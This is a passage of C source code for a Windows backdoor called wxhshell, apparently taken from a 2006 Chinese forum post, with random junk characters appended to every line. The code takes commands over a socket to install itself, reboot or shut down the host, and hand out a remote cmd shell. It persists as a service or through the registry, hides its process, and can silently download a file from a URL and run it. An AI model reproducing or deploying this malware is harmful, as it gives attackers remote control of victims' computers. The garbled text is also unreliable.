  } Pu!%sGjD  
  else { H, O_l%  
}@g#S@o  
    switch(cmd[0]) { .eDI ZX  
  DFqVZ   
  // 帮助 3a,7lTUuB  
  case '?': { {7FD-Q[tS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O[&G6+  
    break; GoKMi[b  
  } fOO[`"'Pq  
  // 安装 eadY(-4|I-  
  case 'i': { f@IL2DL}\  
    if(Install()) rW9ULS2 d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %C*h/AW)'  
    else L|w}#|-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qd?k#Gw&  
    break; $e![^I]`  
    } zMN4cBL9m  
  // 卸载 Jm G)=$,  
  case 'r': { C8 2lT_7"  
    if(Uninstall()) FYeUz$/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0CUUgwA /  
    else O7T wM Yh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '=m ?l  
    break; N/ mC,7Q  
    } 9Dy/-%Ut9  
  // 显示 wxhshell 所在路径 {2%@I~US  
  case 'p': { ;+]GyDgVq  
    char svExeFile[MAX_PATH]; 7~ok*yGw  
    strcpy(svExeFile,"\n\r"); 8I=migaxP  
      strcat(svExeFile,ExeFile); |70L h+  
        send(wsh,svExeFile,strlen(svExeFile),0); ;-T%sRI:|  
    break; GvT'v0&+  
    } :ug j+  
  // 重启 $+ ?A[{JG  
  case 'b': { _&6&sp<n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LP:C9 Ol\  
    if(Boot(REBOOT)) {\f`s^;8{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]w|,n2DG  
    else { > 9wEx[  
    closesocket(wsh); [.`#N1-@M  
    ExitThread(0); A ZYu/k  
    } Yv jRJ  
    break; l]o&D))R  
    } hSD uByoi  
  // 关机 slMWk;fmD}  
  case 'd': { O WVa&8O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w0^T-O`<  
    if(Boot(SHUTDOWN)) $ OMGo`z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8z, |N#  
    else { j:{d'OV  
    closesocket(wsh); KBo/GBD]|  
    ExitThread(0); E`SFr  
    } j*jO809%^  
    break; w/HGmVa  
    } :K_JY   
  // 获取shell O)!MWmr  
  case 's': { kyc Z  
    CmdShell(wsh); 9 &~Rj 9  
    closesocket(wsh); we&g9j'  
    ExitThread(0); VZ8HnNAbX  
    break; wA<#E6^vG  
  } {'#^  
  // 退出 7:t *&$  
  case 'x': { QeVM9br)m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \f_YJit  
    CloseIt(wsh); 4#m"t?6!  
    break; Ue <Y ~A  
    } QNH5Cq;Y  
  // 离开 2*K _RMr~  
  case 'q': { z`D;8x2b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  w|>O!]K]  
    closesocket(wsh); 48BPo,nWR  
    WSACleanup(); ~cSOni`  
    exit(1); p}NIZ)]$  
    break; K?q1I<94  
        } r9@Q="J_)  
  } tc@([XqH  
  } J34lu{'if  
 %Ln7{w  
  // 提示信息 *@r)3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L;0ZB=3n  
} &Q[Y&vNn  
  } 6* /o  
Yl+r>+^  
  return; =kUN ^hb  
} %<q l  
?2;r#)  
// shell模块句柄 qmcLG*^,  
int CmdShell(SOCKET sock) ]kuMzTH  
{ joh=0nk;D  
STARTUPINFO si; ~)#JwY  
ZeroMemory(&si,sizeof(si)); Y,kTk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UNJ]$x0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X'Dg= |  
PROCESS_INFORMATION ProcessInfo; 0k5;Qf6A  
char cmdline[]="cmd"; 8#w}wGV*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s:UQ~p}"S  
  return 0; f#a ~av9rC  
} D^Bd>Ey4  
MH`H[2<\!,  
// 自身启动模式 A`4j=OF\  
int StartFromService(void) z&o"K\y\  
{ ;Bo{.916  
typedef struct xGq,hCQHV  
{ P"%i 4-S  
  DWORD ExitStatus; 33_YZOy^j  
  DWORD PebBaseAddress; # k1%}k=  
  DWORD AffinityMask; n)w@\ Uy c  
  DWORD BasePriority; SB1\SNB  
  ULONG UniqueProcessId; -bK#&o,  
  ULONG InheritedFromUniqueProcessId; Eoug/we  
}   PROCESS_BASIC_INFORMATION; _'k?9eN`  
(yduU  
PROCNTQSIP NtQueryInformationProcess; ;6I{7[  
kEtYuf^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;SF0}51  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '!64_OMj'  
`5;O|qRq  
  HANDLE             hProcess; #_}lF<k  
  PROCESS_BASIC_INFORMATION pbi; 6|m1z  
}*m:zD@8$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _^'fp  
  if(NULL == hInst ) return 0; b<qv /t)$  
A\Q]o#U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )p>BN|L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +d6/*}ht  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O^I~d{M 5I  
: 2?J#/o  
  if (!NtQueryInformationProcess) return 0; /_?E0 r  
'}*5ee](S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8@|_];9#.  
  if(!hProcess) return 0; C:g2E[#  
kDJ5x8Q#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o_p//S#q  
*usfJ-  
  CloseHandle(hProcess); K3&v6 #]  
m,v"N%k,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dWE[*a\g  
if(hProcess==NULL) return 0; Xd>4n7nb$`  
ho2o/>Ef3  
HMODULE hMod;  &(\z  
char procName[255]; Z mF}pa,gd  
unsigned long cbNeeded; JY#IeNL  
t<9oEjk["  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B3u5EgZr  
Xvm.Un< N  
  CloseHandle(hProcess); oYnA 3  
Aj.TX%}`h  
if(strstr(procName,"services")) return 1; // 以服务启动 |Sy |E  
J[;c}  
  return 0; // 注册表启动 EXg\a#4['  
} }%[TJ@R;  
; )O)\__"-  
// 主模块 &F[/@  
int StartWxhshell(LPSTR lpCmdLine) UXoaUW L  
{ D{h1"q  
  SOCKET wsl; ZPn`.Qc  
BOOL val=TRUE; <DiD8")4  
  int port=0; <wxI>T}b  
  struct sockaddr_in door; db:b%1hk:  
&}VGC=F;d  
  if(wscfg.ws_autoins) Install(); Q <EFd   
a_m P$4T  
port=atoi(lpCmdLine); Ooz+V;#Q  
oL#^=vid"  
if(port<=0) port=wscfg.ws_port; too=+'<N</  
iCao;Zb  
  WSADATA data; |&3m'"(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \&]'GsfF  
!zwn Fdp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~qLbyzHaB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7NRq5d(lP  
  door.sin_family = AF_INET; +q"d=   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /}r%DND'  
  door.sin_port = htons(port); "0+_P{w+  
x SF#ys4v  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eHi|_3A&*  
closesocket(wsl); b4!(~"b.  
return 1; AYd7qx:~  
} /K:M ,q  
K_oBSa`  
  if(listen(wsl,2) == INVALID_SOCKET) { BQmg$N,F  
closesocket(wsl);  $.(%7[  
return 1; \CM(  
} G6_Kid}"q  
  Wxhshell(wsl); rv1kIc5Za<  
  WSACleanup(); ?3kfh R  
41mg:xW(J  
return 0; AQU4~g mI  
xvQJTR k  
} Am%zEt$c  
Lg[*P8wE  
// 以NT服务方式启动 F*o{dLJ)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L{ ?& .iA  
{ uI@:\Rss  
DWORD   status = 0; pMYEL  
  DWORD   specificError = 0xfffffff; Hu|NS{Ke-  
6*gMG3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [#$-kd~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .6+j&{WNo!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *qj @y'1\  
  serviceStatus.dwWin32ExitCode     = 0; vUR{!`14  
  serviceStatus.dwServiceSpecificExitCode = 0; j?29_Az  
  serviceStatus.dwCheckPoint       = 0; r5Jy( ~  
  serviceStatus.dwWaitHint       = 0; QK<sibDI  
D)8&v` L S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2)h i(  
  if (hServiceStatusHandle==0) return; X{P_HCd  
= \AI92  
status = GetLastError(); ,h5\vWZ  
  if (status!=NO_ERROR) ]8*g%  
{ )\l}i%L:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DbP!wU lqR  
    serviceStatus.dwCheckPoint       = 0; hf^,  
    serviceStatus.dwWaitHint       = 0; kih;'>H<  
    serviceStatus.dwWin32ExitCode     = status; +^Eruv+F  
    serviceStatus.dwServiceSpecificExitCode = specificError; t@QaxZIlt;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y/h~oGxy  
    return; Uc>kCBCd  
  } Mi,yg=V  
@bOhnd#W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /+.Bc(`  
  serviceStatus.dwCheckPoint       = 0; "n," >  
  serviceStatus.dwWaitHint       = 0; D'ZR>@w@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?<]BLkx  
} C$SuFL(pb  
O&V}T#8n  
// 处理NT服务事件,比如:启动、停止 <w` R ;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I!dA{INN  
{ /@X!  
switch(fdwControl) EeG7 %S 5(  
{ wUW^ O  
case SERVICE_CONTROL_STOP: R22YKXU  
  serviceStatus.dwWin32ExitCode = 0; @AaM]?=P{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U748$%}]  
  serviceStatus.dwCheckPoint   = 0; __teh>MC  
  serviceStatus.dwWaitHint     = 0; V$VqYy9 *  
  { 9cp-Rw<tI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hgu$)yhlj  
  } jB!p,fqcb  
  return; [^ $nt  
case SERVICE_CONTROL_PAUSE: 9u^PM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -;20|US)u  
  break; ^90';ACFy  
case SERVICE_CONTROL_CONTINUE: /17Qhex  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i#Io;  
  break; d&4 ve Lu  
case SERVICE_CONTROL_INTERROGATE: KV9'ew+M  
  break; 9Bvi2 3  
}; JS <S?j?*/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,dhJ\cQ~  
} N4I`6uDgD  
3p6QJuSB  
// 标准应用程序主函数 E;/WP!/.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p:Ry F4{b2  
{  QMLz  
O;z:?  
// 获取操作系统版本 X]8(_[Y  
OsIsNt=GetOsVer(); "s]r"(MX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |tIr?nXSW3  
Ok2KTsVl  
  // 从命令行安装 gI "ZhYI  
  if(strpbrk(lpCmdLine,"iI")) Install(); !TvNT}4Z  
k\BJs@-  
  // 下载执行文件 3u#bx1  
if(wscfg.ws_downexe) { k#uSH eq7f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I{tY;b'w  
  WinExec(wscfg.ws_filenam,SW_HIDE); `qnp   
} DXBc 7J  
fqrQ1{%UH  
if(!OsIsNt) { 3.@"GS#"[  
// 如果时win9x,隐藏进程并且设置为注册表启动 `|coA2$rw  
HideProc(); k>E^FB=  
StartWxhshell(lpCmdLine); CX?q%o2b  
} |0ATH`{  
else H xs'VK*  
  if(StartFromService()) 3}dTbr4y  
  // 以服务方式启动 w\,N}'G  
  StartServiceCtrlDispatcher(DispatchTable); .7&V@A7  
else Wip@MGtJ  
  // 普通方式启动 <|Srbs+  
  StartWxhshell(lpCmdLine); B|pO2d e  
60,z!Vv  
return 0; ]8q#@%v }  
}
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只看该作者 1 发表于: 2006-10-10
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